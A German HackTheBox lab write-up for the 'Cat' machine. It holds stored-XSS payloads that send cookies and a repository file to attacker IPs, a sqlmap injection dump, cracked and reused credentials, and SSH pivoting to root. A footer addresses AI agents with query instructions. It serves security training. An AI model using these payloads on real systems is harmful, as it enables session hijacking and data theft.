> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Cat HackTheBox Writeup

Cat HackTheBox Medium Linux-Maschine Writeup zu Verzeichnis-Fuzzing (.git-Datei), Quellcode-Analyse (Git-Repository-Dump), Stored-XSS-Exploitation & Session-Hijacking, SQL-Injection (SQLite) mit

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Verzeichnis-Fuzzing (.git-Datei)
* Quellcodeanalyse (Git-Repository-Dump)
* Ausnutzung von gespeichertem XSS & Session-Hijacking
* SQL-Injection (SQLite) mit sqlmap
* Knacken von Passwort-Hashes
* Portweiterleitung via SSH
* Ausnutzung von Gitea (v1.22.0) – gespeichertes XSS
* Exfiltration sensibler Daten über XSS-Payloads
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee42315c03c79a312f3b0fbaa203c321db7ff79f%2F%7B36A13240-08CF-49ED-8E15-5EDA5B72AE08%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-902fdc17ca94e34609f86272600dfa18f1617cd7%2F%7BF8B5AC81-EDA3-4223-8B19-D22753B5B0A9%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22531a7b59a7280eafbca354ab3014b55eced4ff%2F%7B1057D700-0721-42D3-9735-B60ABF544C4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d5c7006809e1ab37c42e31d2073be797ecdad45%2Fimage%20(2931).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38bc745cf55f07ead8abba951cf6a1a875551dda%2F%7B33B51646-9756-4102-AC27-56EC6F5E6CEF%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecee3c04d850453b1c3c51b5fb91933f96df1b00%2F%7B43D645F4-4C24-4B58-A750-9EF530266ACF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Aufrufen der `http://cat.htb` Seite finden Sie ein Registrierungsformular.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e58c863be66fb6bcc15bfa679484651bfc6955ca%2F%7BDD4FF287-BBB5-4592-AB8D-592D7CB00AC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Außerdem bemerken wir eine Abstimmungsfunktion.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2e52827d04a29099d3b8a25da1c366273c866a1%2F%7B9EF9FF4C-F1A5-4E3B-B50C-800F1A2A40B4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Verzeichnis-Fuzzing**

Wir führen `gobuster` aus, um versteckte Pfade zu entdecken:

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90fed6cc282869b2e29e6c782be08728768065%2F%7B2D9B08C2-9EF3-4DA2-829D-FB1152F9DA81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dies zeigt mehrere interessante Dateien, darunter eine `.git` Verzeichnis.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc9f450d03904b20fe037890abda356a39da53c8%2F%7B333D743D-4D23-4D7C-9767-21B721325D82%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Git-Repository-Dump**

Wir verwenden `git-dumper` um den Inhalt des Repositories abzurufen:

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11d6bc57a74c3366fadf16471a779c93d9424574%2Fimage%20(2932).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch die Untersuchung des Quellcodes identifizieren wir eine **SQL-Schwachstelle** sowie eine Möglichkeit für **gespeichertes XSS**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c454398950cc76133336602366738cc3c6e2eddd%2Fimage%20(2933).png?alt=media" alt=""><figcaption></figcaption></figure>

## XSS-Schwachstelle

Die Anwendung akzeptiert *Benutzername* und *E-Mail* Felder ohne ordnungsgemäße Filterung. Dadurch können bösartige Skripte eingeschleust werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-121be27cc9f6e4293cc81ec07f70bac5a93fe42e%2F%7B7E675F74-A87C-400F-8F48-032113ADFC7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**XSS-Payload**

Wir erstellen einen Benutzer mit folgendem Namen:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**Den Admin-Cookie erhalten**

Wir lauschen auf Port 8081:

```bash
python -m http.server 8081
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5151082f5b1af2d77c28381dc65ef230f770d6a%2F%7BD2B4E367-F711-49BC-8357-6FCD46C36B45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Sobald der Cookie erfasst wurde, erhalten wir die Administrator-Session:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58fb7acf3b0f3996ab8e0abfc770659fda5852b9%2Fimage%20(2934).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir ändern unseren Session-Cookie auf den des Admins und greifen auf die **Administrationskonsole**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7a0bafc53f831434dd7372fbe05a04ab542e073%2Fimage%20(2935).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQL-Injection (SQLite)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-440e273a8914993d6bdadc24f53190acc3d88a27%2Fimage%20(2936).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit Admin-Zugriff starten `sqlmap` auf einem verwundbaren Formular

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-575d84ccefc75f7c7fe6e2f3eaa62a250b66aaf7%2Fimage%20(2937).png?alt=media" alt=""><figcaption></figcaption></figure>

**Hash-Wiederherstellung**

Wir erhalten die Benutzer' **Passwort-Hashes**. Hier sind einige Beispiele:

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**Passwortknacken**

Verwendung von [CrackStation](https://crackstation.net/), identifizieren wir erfolgreich das Passwort für den Benutzer `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fe375133bc7c6ab206cf089ca2cce297647a4db%2F%7B2D327CE5-420B-4484-8241-3F9A555AB405%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **Benutzername** : rosa
* **Passwort** : soyunaprincesarosa

SSH-Verbindung mit den abgerufenen Anmeldedaten:

```bash
ssh rosa@cat.htb
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ab8190f9e63b33935c6fb3ba94d49b000be6ebc%2F%7BB73874B2-6A4E-4FF6-8D7F-E79235F43528%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Pivoting mit Benutzer Axel

#### Aufklärung mit LinPEAS:

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa ist in der `adm` Gruppe, Zugriff auf:

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9aac1ee5d4d2bc630e2187021daf96da8c55ec2a%2Fimage%20(2938).png?alt=media" alt=""><figcaption></figcaption></figure>

Gefundene Anmeldedaten:

* Benutzername: axel
* Passwort : aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c256559b0528b175d3b0eed13a9e64e7dd9136d%2Fimage%20(2939).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71aae01c1591b41efb7071c8b2c03e69ed4c28bf%2Fimage%20(2940).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### Entdeckung interner Ports:

```bash
netstat -tuln
```

* **Node.js** (Port 3000)
* **SMTP** (587, 25)

Identifizierte Dienste

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-197f3158dacfa4de378356ce0efebf421ad1ebee%2Fimage%20(2945).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Portweiterleitung

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### XSS-Schwachstelle in Gitea v1.22.0

Auf `http://localhost:3000` -> **Gitea** ist erreichbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c35ebe796ccd551785bd2cc1e0513956feabc69c%2F%7B1879616B-7399-4046-AD97-B5758EB0CB84%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Melden Sie sich mit Axels Anmeldedaten an.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c00700b7b8216d656403f1fe22bd844f0a63178%2Fimage%20(2942).png?alt=media" alt=""><figcaption></figcaption></figure>

Bekannte XSS-Schwachstelle.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd5ef97788947a71042823ec9f4ce023a9821271%2Fimage%20(2944).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erstellen ein Projekt mit einer Beschreibung, die Folgendes enthält:

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1ac15a3eb89b5f3eaa7088343ff186e95a8320d%2Fimage%20(2947).png?alt=media" alt=""><figcaption></figcaption></figure>

* Ergebnis:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32baeaa7698210d8e04d3179e6a036706b6ad8a1%2Fimage%20(2946).png?alt=media" alt=""><figcaption></figcaption></figure>

### Per LinPEAS abgefangene E-Mail

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1db9633da33033c664638aee58334a7aadf19d3%2Fimage%20(2948).png?alt=media" alt=""><figcaption></figcaption></figure>

E-Mail-Inhalt:

* jobert\@localhost muss das Gitea-Repository überprüfen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10c9aab4b06d2ef3b828c37c710d6b37409dda30%2Fimage%20(2949).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir senden einen XSS-Link, der ein Exfiltrationsskript enthält, welches den Inhalt der `index.php` Seite des Gitea-Repositorys ausliest, sie in Base64 kodiert und sie dann an unseren Webserver sendet

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cf5b915d31f2d01dda54a5aa67f38281b570a20%2Fimage%20(2952).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Über unseren Webserver

```bash
python -m http.server 8080
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c91d0c985564de574627ae2de717e84193f64a3%2Fimage%20(2953).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exfiltrierter Inhalt (Base64-dekodiert):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c62ca12cda3a529621eb7887083521fe00f7e141%2Fimage%20(2954).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Root-Rechte-Eskalation

Die Anmeldedaten für den Root-Benutzer werden wiederverwendet

```bash
su root
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35b83fb353dc028c1b9a71b4cbb2878c08d0e13c%2Fimage%20(2955).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dbc8ab4158bcd8748c696940385efcaa243b6a6%2Fimage%20(2956).png?alt=media" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-073c29d9f551aa71f5db3c953a0defc0e42dc2ee%2F%7BE04D0081-7244-49A2-9047-BB42B52969A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
